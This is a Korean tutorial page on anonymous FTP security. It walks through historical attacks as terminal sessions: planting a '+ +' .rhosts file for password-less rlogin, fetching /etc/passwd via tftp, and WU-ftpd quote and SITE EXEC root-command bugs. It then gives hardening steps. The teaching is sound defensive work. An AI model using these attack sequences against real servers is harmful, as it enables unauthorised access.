BBUWOO'S [ LIKE UNIX ] WORLD Home > Lecture > Ftpd > Ftpd-7  

HOME
WHAT's BBUWOO?
LInux AnNyung
Open Source
    GitHUB
    GitHUB (for PHP)
LECTURE
MINI LECTURE
QnA BOARD
ENGLISH POEM


WARNNING

강좌의 모든 권리는 본인 김정균에게 있으며 이 강좌를 상업적 목적 으로 이용
하거나 다른 곳으로 옮길시에는 본인의 허락이 있어야 한다. 이글의 가장 최신글은
http://oops.org 에서 확인할수 있다.





이번에는 ftp의 보안에 대해서 알아 보려고 한다. 여기에 있는 글들은 박창민씨의 글임을 밝힌다. http://night.i-land.net/~chang 로 가면 박창민씨의 보안에 대한 여러 글들을 볼수가 있다.

참고로, 여기서 설명하는 각종 환경설정이나, 옵션들은 각각의 사이트마다 다를 수 있으니, 자신의 환경에 알맞게 이들을 변경하여 반영할 것을 권한다.



  • ftp service

      ftp 란 File Transfer Protocol 이며, tcp 포트 20번과 21번 포트를 사용한다. 대부분의 독자들이 이미 ftp 서비스를 많이 사용해보았을 것이기 때문에, 이곳에서 이런 ftp 서비스가 어떤 것인지에 대해서는 설명하지 않기로 하겠다.

      다만, 아직까지도 ftp 서비스는 Remote Attack 의 한가지 방법으로 굉장히 심심찮게 활용되고 있으며, 많은 사이트에서 이들 anonymous ftp 서버의 관리를 제대로 못하고 있다는 사실에 유의할만 하다.

      실제로, Anonymous ftp 서비스는 웹서비스의 급격한 성장으로 인해, 꽉 막힌듯한 인터넷 상에서 여전히 굉장히 빠르고 유용하게 사용될 수 있다. 하지만, 아무리 유용하게 사용될 수 있다할지라도, 보안상의 문제점으로 인하여, 서버 전체에 영향을 미친다든지, 아니면 원치않는 각종 정보들이 이를 통해서, 유출되어서는 안될 것이다.

      불과 얼마전까지만 하더라도, Anonymous ftp 서비스는 Unix 운영체제를 탑재한 웍스테이션들의 전유물로만 여겨져왔었다. 하지만, Windows NT 의 등장과 개인용 PC 들이 네트웍에 물려짐으로 인해, 이들 또한 어느 정도의 성능을 발휘하는 Anonymous ftp 사이트로서의 가치를 띌 수 있게 되었다. 예를 들어, Windows 95 에서 Skynet 서버등을 이용해, Anonymous ftp 서비스를 제공할 수도 있으며, Windows NT 의 경우 IIS 나 그외의 여러 프로그램을 통해 이러한 Anonymous ftp 서비스를 제공할 수 있다는 것은 누구나 다 아는 사실일 것이다.

      Login 에서는 이런 여러 플랫폼 중, Unix 시스템에서의 Anonymous ftp 서버의 설치와 어떻게 이들을 안전하게 운영 및 관리할 수 있는지에 대하여 살펴본다. Unix 시스템 뿐만 아니라, 이곳에서 소개되는 내용들은 Windows NT 나 95와 같은 시스템에도 같은 맥락으로 활용될 수 있음을 명심하기 바란다.

    1. Server/Client

      ftp 서비스는 인터넷 초창기의 몇 안되는 서비스 중 하나였으며, 그로인해 tcp 포트 21번이라는 예약된 포트를 사용하는 서버/클라이언트 모델을 띈다. 클라이언트로는 Unix 시스템의 ftp, ncftp, xftp 등과 Windows 환경에서의 WS_ftp 와 Cute_ftp 등과같은 여러 클라이언트들이 사용될 수 있다. 또한, 앞으로 자바스테이션 등이 등장하더라도, ftp 프로토콜을 이용하기만 한다면, 그들 나름대로의 새로운 클라이언트가 얼마든지 등장할 수 있다.

      게다가, ftp 서비스는 전문용어로는 Reliable Stream Transport Service 라 불리우는, connection 이 지속적으로 유지되는 형태를 띄는 서비스이므로, tcp 프로토콜에 기반을 두게된다. 여기서 지속적인 제어를 위해 tcp 21번 포트가 사용되며, 20번 포트는 데이터가 오고가는 통로로 사용된다.

    2. Active mode와 Passive mode

      ftp 는 기본적으로 두가지 모드를 지원한다. 이들은 active 모드와 passive 모드이다. 물론, 대부분 사용되는 ftp 모드는 active 모드이다.

      기본적으로 ftp 세션은 아래의 그림과 같이 active 모드를 사용할 경우, ftp 클라이언트와 서버간의 통신은 SYN 패킷과 ACK 패킷에 의해 이루어진다. 하지만, 이럴 경우 active 모드는 Firewall 등과 같은 시스템 구성에 있어서 문제점을 야기할 수 있게 된다. 왜냐하면, Firewall 등을 사용할 경우, ftp 서버는 Firewall 을 통해 클라이언트와의 통신을 이루어야 하므로, 이런 추구상황까지 살펴보아야 하기 때문이다. 즉, 이런 문제점들을 해결하기 위해 등장한 것이 바로 passive 모드이다.

      ftp 가 passive 모드로 동작될 경우의 모형은 아래의 그림과 같다. 즉, 아래에서 볼 수 있듯이, passive 모드로 동작될 경우에는 ftp 서버의 20번 포트로 클라이언트가 직접 통신할 필요가 없음을 볼 수 있을 것이다. 때문에, Firewall 등과 같은 시스템 구축에 상당한 도움이 된다.

    3. Demon

      대부분의 Unix 시스템에는 운영체제 상에서 제공하는 ftp 데몬이 /usr/sbin/in.ftpd 또는 /etc/ftpd 등의 형태로 존재한다. 물론, 이런 기본적인 데몬을 통해서도, Anonymous ftp 서비스 등을 제공할 수 있지만, 이런 데몬들은 속속들이 보안상의 문제점이 나타나기도 하며, 더구나 문제점이 나타나더라도 패치가 굉장히 늦게야 제공되는 경우가 허다하다. 바로 이런 점에 대한 대안으로 등장한 것이 세인트 루이스에 위치한 워싱턴 대학에서 개발한 WU-ftpd 데몬이다. 물론, 이 WU-ftpd 데몬도, 2.4까지는 SITE EXEC 나 그외의 보안상의 문제점을 갖고 있었다.

      그외에도, V-ONE Firewall 과 TIS Gauntlet 개발자로 유명한 Marcus Ranum 이 Anonymous ftp 서버 전용으로 만든 aftpd(ftp://ftp.tis.com) 등을 사용할 수도 있다.

      여기서 주의할 점은 어떤 데몬을 사용할 것인지에 따라, 이들을 안전하게 운영하는 방법이 약간씩 다를 수 있다는 점이다. 또한, ftp 는 서버/클라이언트 모델로 운영된다는 것과 반드시 inetd 수퍼서버를 통해 connection 의 관리가 이루어져야 한다는 점을 명심하도록 하자.

    4. ftp의 아류 ftpt

      tftp(Trivial File Transfer Protocol) 이란 서비스는 X 터미널이나 하드디스크가 탑재되어있지않는 Sun Microsystems 사의 ELC 등이 network 상에서 부팅가능하게끔하기위해 제안된 서비스이다. 게다가 tftp 는 UDP 포트 69번을 사용하며, 보안에 대한 고려가 전혀 없었기 때문에, 이를 통해 시스템의 /etc/passwd 파일등이 유출될 우려가 있어왔다. 단지, 이름만 ftp와 유사할 뿐, 실제로는 ftp 와 관련이 없는 tftp 도 잠깐만 간략히 짚고 넘어가기로 하겠다.



     Hanterm - tftp localhost
    
    [ultra]:/staff/chang% tftp localhost                      
    
    tftp> get /etc/passwd blah
    Transfer time out.
    
    tftp>

      위와 같이 Transfer time out 이란 메시지나 Error code 1: File not found 메시지가 나타나지 않고, /etc/passwd 파일을 얻어올 수 있게 된다면, 환경 설정이 제대로 된 것이 아니다. 이때에는 vendor 측에서 제공되는 최신 tftpd 버전을 설치하거나, TCP WRAPPER 를 통해, 원치않는 곳에서의 접근을 봉쇄하는 것이 바람직하다.



  • ftp server 운영상에 있어서 현존하는 여러 문제점

      먼저, ftp 서버를 운영하는데 있어서 이제까지 발견되었던 보안상의 문제점들을 하나하나 꼽아서 살펴보기에 앞서, CERT 나 CIAC 어드바이저리에서 ftp 와 관련된 것들만 뽑아서 리스트를 살펴보면 아래와 같다.

      [CERT]
      CA-88:01.ftpd.hole
      CA-92:09.AIX.anonymous.ftp.vulnerability
      CA-93:06.wuarchive.ftpd.vulnerability
      CA-94:07.wuarchive.ftpd.trojan.horse
      CA-94:08.ftpd.vulnerabilities
      CA-95:16.wu-ftpd.vul
      [CIAC]
      d-13.unix-wuarchive-ftp-daemon
      d-19.anon-ftp-server-attack
      e-14.wuarchive-ftpd-trojan
      e-17.ftp-daemon-vulns
      [AUSCERT]
      AA-93.07.anonymous.ftp.Archive.Available
      AA-94.01.ftpd.Configuration.Advice
      AA-95.04.wu-ftpd.misconfiguration.vulnerability
      AA-97.03.ftpd.signal.handling.vul
      SA-93.07.anonymous.ftp.Archive.Available
      SA-94.01.ftpd.Configuration.Advice

      비단, 이렇게 문서화된 버그와 홀들뿐만이 아니라, 음성적으로 오고가는 exploit 코드까지 합하면, ftp 관련 버그만 하더라도 손꼽을 수 없이 엄청나다. 문제는 ftp 서비스야말로 널리 가장 알려진 서비스들 중 하나이며, 직접적으로 서버의 정보나 자원에 접근할 수 있는 서비스 형태이기 때문이다. 여기서 이제까지 ftp 서비스를 이용해 어떻게 해킹이 가능하였는지 잠깐 알아보기로 하자.

    1. ~ftp directory의 소유주가 ftp였다?

      초기의 Anonymous ftp 서비스가 제공될 때에는 ftp 의 홈디렉토리 소유주는 당연히 ftp 였다. 또한, 이렇게 한동안 아무문제없이 사용될 수 있었다. 하지만, 아래와 같은 방법으로의 해킹이 시도됨에 따라 이는 크나큰 문제를 발생할 수 있음이 밝혀지게 되었다. 그리하여 현재의 버젼에서는 소유권이 root에게 있으며 간혹 pub directory의 그륩권한이 ftp로 되어 있는 경우가 있는데 이것 역시 root로 바꿔 주는 것이 좋다.



     Hanterm
    
     [hacker] cat > .rhosts 
    
      + + 
      ^D 
    
     [hacker] cat .rhosts + + [hacker]
    
      ftp ftp.target.com 
      Connected to ftp.target.com. 
      220 ftp FTP server (UNIX(r)System V Release 4.0) ready. 
      Name (ftp:hacker): anonymous  
      331 Guest login ok, send ident as password. 
      Password: hacker@shit.com 
      230 Guest login ok, access restrictions apply. 
    
      ftp> ls -al 200 PORT command successful.
    
      150 ASCII data connection for /bin/ls (203.251.173.81,43930) (0 bytes).  
      total 18 
      drwxr-xr-x  8  ftp    ftp    512    Dec   24   21:19 . 
      drwxr-xr-x  8  root  other   512    Dec   24   21:19 .. 
      lrwxrwxrwx  1  ftp    ftp      7    Sep    6   1996 bin -> usr/bin
      drwxr-xr-x  2  ftp    ftp    512    Sep    6   1996 dev 
      drwxr-xr-x  2  ftp    ftp    512    Sep    6   1996 etc 
      drwxrwxrwx  2  ftp    ftp    512    Mar   17   08:55 incoming 
      drwxrwxr-x  2  ftp    ftp    512    Jan   11   05:31 pub 
      drwxr-xr-x  4  ftp    ftp    512    Aug   31   1996 usr 
      226 ASCII Transfer complete. 
      remote: -al 
      559 bytes received in 0.071 seconds (7.7Kbytes/s) 
    
      ftp> put .rhosts 
    
      200 PORT command successful. 
      150 ASCII data connection for .rhosts (203.251.173.xxx,43949). 
      226 Transfer complete.
      local: .rhosts remote: .rhosts 
      5 bytes sent in 0.0006 seconds (8.1 Kbytes/s)
    
      ftp> quit 
    
      221 Goodbye. 
    
     [hacker] rlogin ftp.target.com -l ftp 
    
      SunOS Release 4.1.3-KLE1.1.3 (GENERIC_target) #2: Sat Apr 
      13 23:20:24 KST 1996 
      You have new mail. 
      target:/home/ftp> _

      간략하게나마 위와같이 해킹이 자행되는 과정을 열거해보았다. 이제, 이를 자세히 한번 살펴보기로 하자. 해커는 먼저, 자기 호스트에 "+ +" 란 내용의 .rhosts 란 파일을 만들어 둔다. 그리고, ftp.target.com 이란 호스트의 Anonymous ftp 서비스에서 ftp 디렉토리의 소유주가 ftp 임을 발견하고, 쓰기 권한이 존재함을 확인한다. 이제, 해커는 ftp.target.com 에 접속하여, 이미 만들어둔 .rhosts 파일을 업로드한다. 그리고, rlogin 을 통하여, 패스워드 인증절차를 거치지않고, ftp.target.com 에 접속할 수 있게된다. 즉, 해커에게 잘못된 ftp 서비스 셋업으로 인해, 안방 열쇠를 넘겨주는 꼴이 된 것이다. 실제로, 94년에 발표된 SATAN(Security Administrator Tool for Analyzing Networks)도 역시 Remote 사이트의 Anonymous ftp 서비스의 소유주환경이 어떻게 구성되어있는지 확인하여, 이를 통해 해킹이 가능함을 알려주고 있다. 물론, ftp.target.com 의 /etc/passwd 파일에서 ftp 사용자에게 특정쉘을 주어주지 않았을 경우에는 rlogin 을 이용해 쉘을 띄울 수 없지만, 그외의 다른 수단을 통해 얼마든지 서버에 존재하는 자원에 접근할 가능성이 얼마든지 있을 수 있으므로, ftp 디렉토리의 퍼미션에 항상 주의할 필요가 있다.

    1. ftp 사용자가 shell을 가지고 있다?

      서버의 /etc/passwd 파일에 아래와같이 ftp 사용자에게 쉘이 허용되어있다고 가정해보자.

      ftp:x:500:10:Anonymous ftp User:/home/ftp:/bin/bash

      이럴 경우, 앞서말한 퍼미션 문제나, 그외의 문제등으로 인해 ftp 사용자의 권한으로 시스템에 해커가 침입할 수 있는 하나의 빌미가 될 수 있다. 때문에, 위의 사항은 반드시 아래와같이 바뀌어져야 한다.

      ftp:x:500:10:Anonymous ftp User:/home/ftp:/bin/false

    2. quote 명령을 이용해 해킹을 해보자

      vendor 로부터 제공되는 /etc/ftpd 나 /usr/sbin/in.ftpd 등과같은 기본적인 서버외에 Washington 대학에서 개발된 WU-ftpd 서버가 많이 사용된다는 얘기는 앞서 했을 것이다. 하지만, 초창기의 WU-ftpd 서버 역시 보안상의 헛점이 전혀 없었던 것은 아니다. 여기에서 소개하는 내용은 WU-ftpd 2.3 버전까지 있어왔던 보안상의 문제점이다. 만일, 현재 독자들이 사용하고 있는 시스템의 WU-ftpd 가 최신버전이 아니라면, 당장 업그레이드 할 것을 권하는 바이다.



     Hanterm
    
     [hacker] ftp -n 
    
      ftp> open ftp.target.com 
    
      Connected to ftp.target.com.
      220 ftp FTP server ready. 
    
      ftp> quote user ftp 
    
      331 Guest login ok, send ident as password. 
    
      ftp> quote cwd root 
    
      530 Please login with USER and PASS. 
    
      ftp> quote pass ftp 
    
      Guest login ok, access restrictions apply
    
      ftp> ls -al / 
    
      total 1586 
      drwxr-xr-x  32  root  1536   Mar   2   17:21  ./ 
      drwxr-xr-x  32  root  1536   Mar   2   17:21  ../ 
      -rw-r--r--    1  root      40  Sep  21  23:38   .bash_history  
      -rw-r--r--    1  root    399  Oct   31  01:08   .cshrc 
      <생략>

      즉, WU-ftpd 2.3 버전까지는 위와같이 quote 명령을 이용해, ftp 포트로 접근하더라도, 마치 쉘을 띄워 23번 포트로 접속한 것과 같은 효과를 얻을 수 있었다. 때문에, 해커는 위의 방법으로 서버의 정보를 마음껏 뒤져볼 수도 있었으며, Local attack 도 가능하게 되었었다. 이 문제점은 후에, WU-ftpd 제작에 있어서 chroot(2) 함수를 적절히 활용하지 못해, ftp 가 접근할 수 있는 루트디렉토리의 한계를 지어주지 못하였기 때문으로 밝혀졌으며, WU-ftpd 2.4 버전부터는 이런 문제점이 해결되었다.

    1. SITE EXEC 명령은 또 무엇인가?

      여기에서 소개할 내용은 WU-ftpd 버전 2.4에까지 먹히던 내용이다. 자세한 내용은 아래의 예를 살펴보면서 하기로 하자.



     Hanterm
    
     [hacker] ftp -n ftp.target.com 
    
      220 ftp FTP server ready. 
      Name (ftp:name): chang 
      Password : ******** 
    
      ftp> quote "site exec bash -c id" 
    
      200 bash -c id 
      200 uclass="0"(root) gclass="0"(root) euclass="505"(chang)                     
      220 (end of 'bash -c id') 
    
      ftp> quit 
    
      221 Goodbye. 
    
     [hacker] _

      위에서 볼 수 있듯이, SITE EXEC 명령을 이용하여, 시스템에 계정을 갖고 있는 사람들은 root 권한으로 특정 명령을 수행할 수 있었다. 즉, Remote Attack 을 가장한 Local Attack 이라고 볼 수 있는 것이다. 물론, 위의 문제점도 WU-ftpd 2.4 이후버전에서는 모두 해결되었다. 혹시라도, WU-ftpd 2.4 버전을 사용하고 있는 시스템이 있다면, 즉시 최신 WU-ftpd 버전을 구해서 설치하기 바란다.

    1. /etc/ftpusers file이 없다니!

      Security 에 어느정도 관심을 갖고있는 독자들이라면, 분명히 스니핑(Sniffing)이나 스니퍼(sniffer) 등과 관련된 말들을 많이 들었을 것이다. 차후에, TCP/IP 강좌나 핫이슈 섹션에서도 스니핑에 대하여 언급할 것이지만, 스니핑이란 TCP/IP 프로토콜 자체의 문제점을 악용하여, 네트웍 상을 지나가는 암호화되지 않은 패킷들을 분석하여, 사용자명과 암호와 같은 중요한 내용들을 훔쳐보는 것을 가리킨다. 즉, Solaris 2.5 등과같이 remote 에서 root 계정으로 로그인할 수 없다하더라도, 만일 root 패스워드가 스니핑되었을 경우, /etc/ftpusers 항목이 적절히 설정되어 있지 않다면, 침입자는 root 계정으로 ftp 접속을 이룬뒤, 필요한 내용들을 훔쳐볼 수 있게 된다. 아래의 간단한 예를 살펴보기로 하자.



     Hanterm
    
     [ultra]:/staff/chang% telnet arirang 
    
     Trying 203.251.173.1...
     Connected to arirang.misotech.com. 
     Escape character is '^]'
     UNIX(r) System V Release 4.0 (arirang)
     login: chang 
     Password: ******** 
     Last login: Wed Mar 19 21:17:46 from ultra.misotech.com         
    
     [miso]:/staff/chang% su - 
    
     Password: ******** 
     arirang:/#id 
     uclass="0"(root) gclass="1"(other) 
    
     arirang:/# _

      즉, ultra.misotech.com 에서 arirang.misotech.com 으로 바로 root 계정으로 접속하지 않았지만, chang 이란 계정으로 접속한 후, 바로 'su -' 와 같은 방법으로 root 패스워드를 입력할 경우, 이 모든 키입력은 충분히 스니핑당하고도 남는 것이다. 해커는 간단히 스니퍼를 돌리는 것만으로도 필요한 root 패스워드를 알아내어, 시스템을 공격할 수 있게 되는 것이다. 때문에, root 나 그외의 특별한 권한을 갖고 있는 계정 또는 대외적으로 감추어져야할 정보를 갖고 있는 계정들에 대해서는 아래와 같이 /etc/ftpusres 항목이 설정되어야 한다.



     Hanterm
    
     [ultra]:/staff/chang% cat /etc/ftpusers                         
     root 
     bin 
     sys 
     sendmail
     uucp 
     smtp 
     chang 
     seoro 
     young 
     project 
     [ultra]:/staff/chang% _

    1. Denial of Service Attach

      인터넷상에 일단 연결된 호스트라면, 그 기종에 관계없이 언제나 Denial of Service Attack 형태의 공격을 얼마든지 받을 가능성이 있다. 예를 들어서, 메일 폭탄을 보낸다든지, 아니면 특정 포트에 무한개의 패킷을 연속해서 보내는 식의 Denial of Service Attack 이 언제나 가능하기 때문이다. 앞서도 말했듯이, ftp 서비스는 디폴트로 21번 포트를 통해 커넥션이 이루어지기 때문에, Flooder 등을 통해 tcp 포트 21번에 무한개의 패킷을 보내거나, SYN 패킷을 보낼 경우 아무 대책없이 원하는 서비스를 제공할 수 없게 된다. 이는 비단 ftp 서비스에만 해당되는 것이 아니기 때문에, 자세한 사항은 핫이슈 섹션의 TCP SYN Flooding 부분을 참고하기 바란다.

    2. ~ftp/etc/passwd 와 ~ftp/etc/group

      과거 /etc/passwd 의 두번째 필드인 encrypted 패스워드 부분이 아래와같이 드러날 경우에는 Crack 과 같은 툴을 이용해서, 암호를 알아낼 수도 있었다.

      chang:8xEf7rDebuckf:102:101:Chang-min Park:/staff/chang:/usr/bin/tcsh

      물론, 요즘 나오는 대부분의 운영체제들은 shadow 패스워드를 채용하고 있으므로, 패스워드가 유출되는 경우는 별로 없을지라도, /etc/passwd 정보만으로도 침입자들의 타겟에 대한 정보가 유출될 수 있으므로, 이들 정보를 각별히 주의해서 다루어야 한다. 그럼에도 불구하고, ~ftp/etc/passwd 파일과 ~ftp/etc/group 파일에 이들 내용을 담아두어 해커들에게 이런 정보들을 고스란히 넘겨주는 경우가 현재에도 허다하게 발생하고 있다.

      ~ftp/etc/passwd 파일이 Anonymous ftp 서비스에서 필요한 이유는 바로, Anonymous ftp 서비스 제공 도중, 각 파일들의 해당 소유주들에 대한 정보를 제공해야할 필요가 있기 때문이다. 때문에, ~ftp/etc/passwd 파일에는 root 와 ftp 항목만 들어있어도 하등의 문제점이 없다. 그러니, ~ftp/etc/passwd 에 이외의 정보들을 담아두고 있는 호스트들은 이들을 즉시 없애기 바란다. 물론, ~ftp/etc/group 파일 또한 마찬가지이다.



  • 안전하게 Server를 운영하자

      이제까지는 ftp 서비스가 어떻게 운영되며, 이제까지 이들을 통해 어떤 유형의 공격이 자행되어왔는지, 그리고 그런 방법들을 이용해 어떤 일들이 가능했는지 알아보았다. 이 섹션에서는 이런 방법들에 대처하며, 앞으로 발생할 문제점들에 의한 피해를 최소로 하기위해 어떻게 Anonymous ftp 서비스를 운영해야하는지, 그리고 구체적으로 어떤 방법들을 써서 현재 제공되는 Anonymous ftp 서비스를 한층 안전하게 운영할 수 있는지 알아보도록 하자.

    1. Step by Step guide

      이번에는 실제로, 독자들이 Anonymous ftp 서버를 처음부터 끝까지 설정하는 상황을 가정해서 하나씩 스텝을 밟아보며 살펴보도록 하자.

      1. Anonymous ftp 서비스를 제공하려면, ftp 데몬이 있어야함은 두말해야 잔소리이며, 더불어 이들 각각의 데몬은 반드시 최신 버전이어야 함을 명심하자. 편의상 컴파일하지 않고서, 사용할 수 있는 벤더측에서 제공되는 /usr/sbin/in.ftpd 데몬을 사용하도록 하자.

      2. 이제, ftp 사용자의 홈디렉토리를 정의하고 필요한 서브디렉토리들과 파일들을 만들어야 한다. 서브디렉토리를 만들때 주의해야할 점은 반드시 이들 디렉토리의 소유주가 ftp 여서는 안된다는 점이여, group 역시 ftp 가 속한 그룹에 쓰기 권한이 있어서는 안된다는 것이다. 아래의 예를 보며, 살펴보기로 하자.



     Hanterm
    
     root:/opt/ftp> ls -al 
     총 14 
     drwxr-xr-x  6  root other  512  3월 20일  21:26   ./ 
     drwxrwxr-x 15  root   sys  512  3월 20일  20:38  ../  
     lrwxrwxrwx  1  root other    7  3월 20일  20:53  bin -> usr/bin/   
     dr-xr-xr-x  2  root other  512  3월 20일  21:08  dev  / 
     drwxr-xr-x  2  root other  512  3월 20일  21:12  etc/
     drwxr-xr-x  2  root other  512  3월 20일  20:38  pub  / 
     drwxrwxrwt  2  root other  512  3월 20일  20:39  Incoming/ 
     drwxr-xr-x  5  root other  512  3월 20일  21:08  usr/ 
     root:/opt/ftp> _

      물론, ~ftp/bin 디렉토리와 ~ftp/etc 디렉토리에 존재하는 각각의 파일들도 위와같이 ftp 소유가 아니라 root 소유로 되어있어야 안전하다.

      3. ~ftp/etc/passwd 와 ~ftp/etc/group 파일들을 설치해야할 때이다. 이때 명심해야 할 점은 시스템의 /etc/passwd 와 /etc/group 를 그대로 ~ftp/etc 밑에 가져다놓아서는 안된다는 점이다. 왜냐하면, 앞서도 말했듯이, 해커가 이 파일들을 다운받아 특정 계정을 공격의 대상으로 삼을 수 있기 때문이다. 직접 이들 파일들을 만들어보면, 간단히 아래와 같이 만들어 볼 수 있다.



     Hanterm
    
     root:/opt/ftp/etc> cat passwd 
    
      root:x:0:1:Super-User:/:/bin/csh
      ftp:x:30000:30000:Anonymous FTP User:/opt/ftp:/bin/false          
    
     root:/opt/ftp/etc> cat group 
    
      root::0:root other::1:root 
      ftp::30000:ftp 
    
     root:/opt/ftp/etc> _

      위와같이, ~ftp/etc/passwd 와 ~ftp/etc/group 에는 Anonymous ftp 서비스를 제공함에 있어서, 각각의 파일과 디렉토리의 소유주만 밝혀주는데 이들이 사용되므로, 그에 관계된 root 나 ftp 사용자 항목만 들어 있으면 된다는 점을 명심하자. 또한, shadow 패스워드 시스템을 제공하지 않는 곳에서는 반드시 encrypt 된 암호부분을 위의 예에서와 같이 마킹하여야 한다.

      4. 이제 Anonymous ftp 서비스를 제공하기위해 시스템에 ftp 사용자를 등록해야한다. 시스템의 /etc/passwd 파일과 /etc/group 파일에 ftp 사용자를 등록시키되, 반드시 UID 와 GID 를 주의하여, ftp 사용자권한으로 디렉토리에 쓰기기능이 제공되어서는 안됨을 명심하자. 또한, 더불어 ftp 사용자에게는 쉘을 주어서는 안된다.

      ftp:x:30000:30000:Anonymous ftp User:/ftp/opt:/bin/false

      물론, 시스템에따라 설정을 더 맞추어두어야 할 경우도 있다. 예를 들어, Solaris 시스템의 경우 ~ftp/dev 디렉토리에 특수 디바이스 파일들을 만들어야 한다던가 하는 식의 작업을 거쳐야할지도 모른다. 이는 시스템이나 ftp 데몬의 매뉴얼페이지를 통해 해결하기 바란다. 이 정도만되어도, 어느정도 안전한 Anonymous ftp 서비스를 제공할 준비가 된 것이다. 여기에 덧붙여 필요에따라 tcp-wrapper 를 사용하여, 원하는 곳으로부터의 접속만 허락할 수도 있을 것이다. 마지막으로 도덕적 윤리적인 관점에서, Anonymous ftp 서버가 소위 Warez 사이트라 불리우며, 각종 음성적인 자료들이 오고가는 하나의 창구가 될 수 있기에, 이런 점들 또한, 주의해서 다루어야 되지 않을까 생각된다.

    1. Technical guide

      특별히 이상에서 설명한 것보다 더 많은 정보를 원하는 독자들이 있으리라 생각되어, 아래에 유즈넷과 CERT 에서 배포된 FAQ 와 가이드문서를 제공한다.

      첫번째 문서는 특별히, ISS 의 개발자로도 유명한 Christopher Klaus 가 유즈넷에 올렸던 글로써 기본적인 in.ftpd 데몬외에 WU-ftpd 를 이용하여 안전한 Anonymous ftp 서비스를 운영하는 방법에 대해 논하고 있으며, 두번째 문서는 CERT 에서 특별히 Anonymous ftp 서비스를 위한 가이드문서로 제공된 것이다.

      첫째, Anonymous ftp FAQ by Christopher Klaus(링크 ftp_FAQ)

      둘째, Anonymous ftp Guideline by CERT(링크 ftp_guide)



  • 추가사항

      1997년 3월 24일자로 공개되는 MISO TECH 의 Wizard 는 TCP 21번 포트에 직접 접속하여, 현재 동작중인 ftp 데몬의 버전과 널리 알려진 quote 나 SITE EXEC 버그등을 직접 확인해 본 뒤, 이들의 동작 여부를 통해 현재 시스템의 Anonymous ftp 서비스가 안전한지 아닌지의 여부를 알려준다. 만일, 위의 전체적인 과정을 거치면서 훑어볼 여유가 없는 독자들은 Wizard 공개판을 다운받아, 해당 사이트에서 이를 통해 시스템이 안전한지 아닌지의 여부를 판단하기를 권하는 바이다.



  • 맺음

      Anonymous ftp 서비스는 '정보의 공유'라는 인터넷의 기본개념을 철저히 따라주는 가장 기본적인 서비스이다. 물론, WWW 서비스도 이런 정신을 잘 반영하고 있지만, 세상에 태어나 빛을 본 시간으로 따지자면, ftp 서비스야말로 대선배가 아닌가한다. ftp 나 WWW 그리고, 인터넷 상에서 Remote 에 제공되는 많은 서비스들은 그 하나하나가 모두 해커들의 공격대상일 수 밖에 없다. 왜냐하면, 이들 서비스들은 사용하는 포트에서부터 소스코드에 이르기까지 다양한 정보들이 모두 해커들에게 노출당해있기 때문이다. 때문에, CERT 나 기타 여러 기관에서 권고하는 사항들을 그때그때 수용하여, 문제시되는 것들을 최대한 빨리 해결해나가는 것이 가장 바람직스럽지 않은가 생각된다.



    >> 이전 : ftpd의 실행 및 관리명령



  •     



     Home > Lecture > Ftpd > Ftpd-7

    Copyright 1997-2024 JoungKyun Kim 
    LAST MODIFIED: 2017/01/18